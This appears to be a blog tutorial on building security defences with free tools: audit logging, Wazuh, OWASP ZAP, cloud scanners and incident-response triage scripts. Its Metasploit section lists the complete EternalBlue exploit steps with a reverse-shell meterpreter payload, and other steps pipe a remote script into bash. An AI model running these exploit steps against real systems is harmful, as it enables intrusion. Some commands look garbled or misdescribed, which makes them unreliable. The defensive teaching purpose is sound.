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Introduction:
In cybersecurity, having full purchasing authority means nothing when your budget is zero—yet security leaders are still expected to defend against sophisticated threats. This paradox forces professionals to rely on open‑source tools, native OS commands, and creative automation to build enterprise‑grade defenses without spending a dime.
Learning Objectives:
- Implement full‑stack monitoring and endpoint detection using only free, open‑source tools and built‑in OS features.
- Automate vulnerability scanning, log analysis, and incident response via PowerShell, Bash, and native command‑line utilities.
- Harden cloud assets and API endpoints using zero‑cost configurations and community‑driven security frameworks.
You Should Know:
- Native OS Commands as Your First Line of Defense
Most Windows and Linux systems come with powerful auditing and monitoring tools that require no additional licensing. For Windows, enable command‑line process auditing and use `wevtutil` to query security logs. For Linux, leverageauditd,ss, and `journalctl` to track system changes and network connections.
Step‑by‑Step: Enable Process Auditing on Windows
- Open `gpedit.msc` (Group Policy Editor) → Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy.
- Enable “Audit Process Creation” and include command‑line arguments in events.
3. Use PowerShell to extract suspicious processes:
`Get-WinEvent -FilterHashtable @{LogName=’Security’; ID=4688} | Where-Object {$_.Properties
.Value -like 'powershell'}` 4. For Linux, install auditd (<code>sudo apt install auditd</code>), then add a rule: <code>sudo auditctl -w /bin/bash -p x -k shell_activity</code>. <h2 style="color: yellow;">5. Search logs with: `sudo ausearch -k shell_activity`.</h2> <ol> <li>Free Endpoint Detection & Response (EDR) Using Wazuh Wazuh is a fully open‑source SIEM/XDR platform that runs on any Linux distribution. It provides file integrity monitoring, rootkit detection, and vulnerability scanning—comparable to paid EDR solutions.</li> </ol> <h2 style="color: yellow;">Step‑by‑Step: Deploy Wazuh on Ubuntu 22.04</h2> <h2 style="color: yellow;">1. Install the Wazuh indexer, server, and dashboard:</h2> `curl -s https://packages.wazuh.com/4.x/wazuh-install.sh | bash` 2. Run the all‑in‑one installation script and note the admin credentials. 3. On a Windows endpoint, download the Wazuh agent from the dashboard or CLI. 4. Install the agent silently: `msiexec /i wazuh-agent-4.x.msi /qn WAZUH_MANAGER='<server_ip>'` 5. Verify connectivity: `net start WazuhSvc` (Windows) or `systemctl status wazuh-agent` (Linux). 6. Check the dashboard for real‑time alerts—MITRE ATT&CK mapping included. <h2 style="color: yellow;">3. API Security Testing with Zero Budget</h2> OWASP ZAP (Zed Attack Proxy) and Postman’s free tier let you test REST and GraphQL APIs for common flaws (injection, broken auth, excessive data exposure). <h2 style="color: yellow;">Step‑by‑Step: Automated API Scanning with OWASP ZAP</h2> <ol> <li>Download ZAP from https://www.zaproxy.org/download.html. </li> </ol> <h2 style="color: yellow;">2. Start ZAP in daemon mode for automation:</h2> <h2 style="color: yellow;">`zap.sh -daemon -port 8080 -config api.disablekey=true`</h2> <ol> <li>Use the API endpoint to spider an OpenAPI spec: `curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://api.target.com/v3&recurse=true"` </li> </ol> <h2 style="color: yellow;">4. Generate an HTML report:</h2> `curl "http://localhost:8080/OTHER/core/other/htmlreport/" > scan_report.html` 5. For manual testing, set ZAP as a proxy in your browser and explore API endpoints, checking for IDOR by manipulating user IDs in requests. <h2 style="color: yellow;">4. Cloud Hardening Using Free AWS/Azure Tools</h2> Both major clouds offer free tiers for security services: AWS Inspector (vulnerability scanning for EC2), Azure Security Center (continuous assessment for 5 VMs), and GCP’s Security Command Center (limited but functional). Step‑by‑Step: Enforce CIS Benchmarks on an EC2 Instance for Free 1. Launch a t2.micro EC2 instance (free tier eligible) with Amazon Linux 2. 2. Install the AWS Inspector agent: <code>sudo yum install -y aws-inspector-agent</code>. 3. Enable Inspector from the AWS Console → Inspector → Assessment Templates → create a new “CIS Benchmark” template. 4. Run the assessment and download the report in JSON/CSV. <h2 style="color: yellow;">5. Automate remediation using SSM documents:</h2> `aws ssm send-command --document-name "AWS-RunShellScript" --parameters commands='sudo yum update -y && sudo yum install -y openssh-server' --targets Key=instanceids,Values=i-12345` <h2 style="color: yellow;">5. Vulnerability Exploitation & Mitigation with Metasploit (Free)</h2> The free Community edition of Metasploit allows you to simulate real attacks (e.g., EternalBlue, Log4Shell) and test defenses without a paid license. <h2 style="color: yellow;">Step‑by‑Step: Simulate an SMB Exploit in a Lab</h2> <h2 style="color: yellow;">1. Start Metasploit: `msfconsole`</h2> <h2 style="color: yellow;">2. Search for EternalBlue module: `search eternalblue`</h2> <h2 style="color: yellow;">3. Use the module: `use exploit/windows/smb/ms17_010_eternalblue`</h2> <ol> <li>Set options: <code>set RHOSTS 192.168.1.100</code>, <code>set PAYLOAD windows/x64/meterpreter/reverse_tcp</code>, `set LHOST 192.168.1.50` </li> </ol> <h2 style="color: yellow;">5. Run exploit: `exploit`</h2> <h2 style="color: yellow;">6. Mitigation (post‑simulation):</h2> <ul> <li>Patch MS17‑010 (<code>wusa windows6.1-kb4012212-x64.msu /quiet</code>) </li> <li>Disable SMBv1 on Windows: </li> </ul> <h2 style="color: yellow;">PowerShell: `Set-SmbServerConfiguration -EnableSMB1Protocol $false`</h2> <h2 style="color: yellow;">Command line: `sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi`</h2> <h2 style="color: yellow;">6. Free Training & Certifications from Industry Giants</h2> When you have 0% budget for training, vendors and communities offer high‑quality cybersecurity, AI, and IT courses at zero cost. <h2 style="color: yellow;">Step‑by‑Step: Access Free Courses</h2> <ul> <li>Microsoft Learn (Security, AI, Azure): https://learn.microsoft.com/en-us/training/browse/?products=azure&resource_type=module </li> <li>AWS Skill Builder (50+ free digital courses): https://explore.skillbuilder.aws/learn </li> <li>Google Cybersecurity Certificate (financial aid available): https://grow.google/certificates/cybersecurity/ </li> <li>PortSwigger Web Security Academy (free labs for XSS, SQLi, SSRF): https://portswigger.net/web-security </li> <li>TryHackMe (free rooms for beginners): `sudo apt install openvpn -y` (then connect to their VPN). </li> </ul> <h2 style="color: yellow;">7. Automating Incident Response with PowerShell and Bash</h2> Free scripts can triage compromised hosts, collect forensic data, and isolate machines using only native commands. <h2 style="color: yellow;">Step‑by‑Step: Create a Live‑Response Triage Script</h2> <h2 style="color: yellow;">For Windows (save as `triage.ps1`):</h2> [bash] $out = "C:\IR_$(Get-Date -Format yyyyMMddHHmm)" mkdir $out Get-Process | Export-Csv "$out\processes.csv" Get-Service | Export-Csv "$out\services.csv" Get-NetTCPConnection | Export-Csv "$out\netstat.csv" Get-EventLog -LogName Security -Newest 1000 | Export-Csv "$out\security_logs.csv"
For Linux (save as `triage.sh`):
!/bin/bash OUT="/tmp/ir_$(date +%Y%m%d%H%M%S)" mkdir -p $OUT ps aux > $OUT/processes.txt ss -tulpn > $OUT/network.txt journalctl -n 2000 > $OUT/systemd_journal.txt auditctl -l > $OUT/audit_rules.txt
Run the script on any suspected host and examine the output for anomalies.
What Undercode Say:
- Authority without budget is a forcing function – it pushes teams toward open‑source innovation rather than vendor lock‑in.
- Native OS commands are underrated –
auditd,wevtutil, and `ss` can replace expensive agents when properly configured. - Free cloud security tools are viable – AWS Inspector, Azure Security Center’s free tier, and GCP’s Security Command Center cover 80% of basic compliance needs.
- Automation bridges the budget gap – one PowerShell script or bash one‑liner can replicate a commercial SOAR playbook.
- The “100% authority, 0% budget” reality is common – especially in startups, non‑profits, and lean security teams. Mastering free tools is a career‑defining skill.
- API security doesn’t require expensive scanners – OWASP ZAP and manual fuzzing with curl catch most OWASP Top 10 API flaws.
Prediction:
As economic pressures continue, more enterprises will mandate “zero‑budget security” initiatives, accelerating the adoption of CNCF‑level open‑source projects (Wazuh, osquery, Falco). Within two years, we expect a major compliance framework (e.g., NIST, ISO 27001) to include a free‑tool certification path. Meanwhile, threat actors will increasingly target the misconfigured free tools themselves—so securing your open‑source stack will become as critical as defending against external attacks.
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Reported By: Chris Deibler – Hackers Feeds
Extra Hub: Undercode MoN
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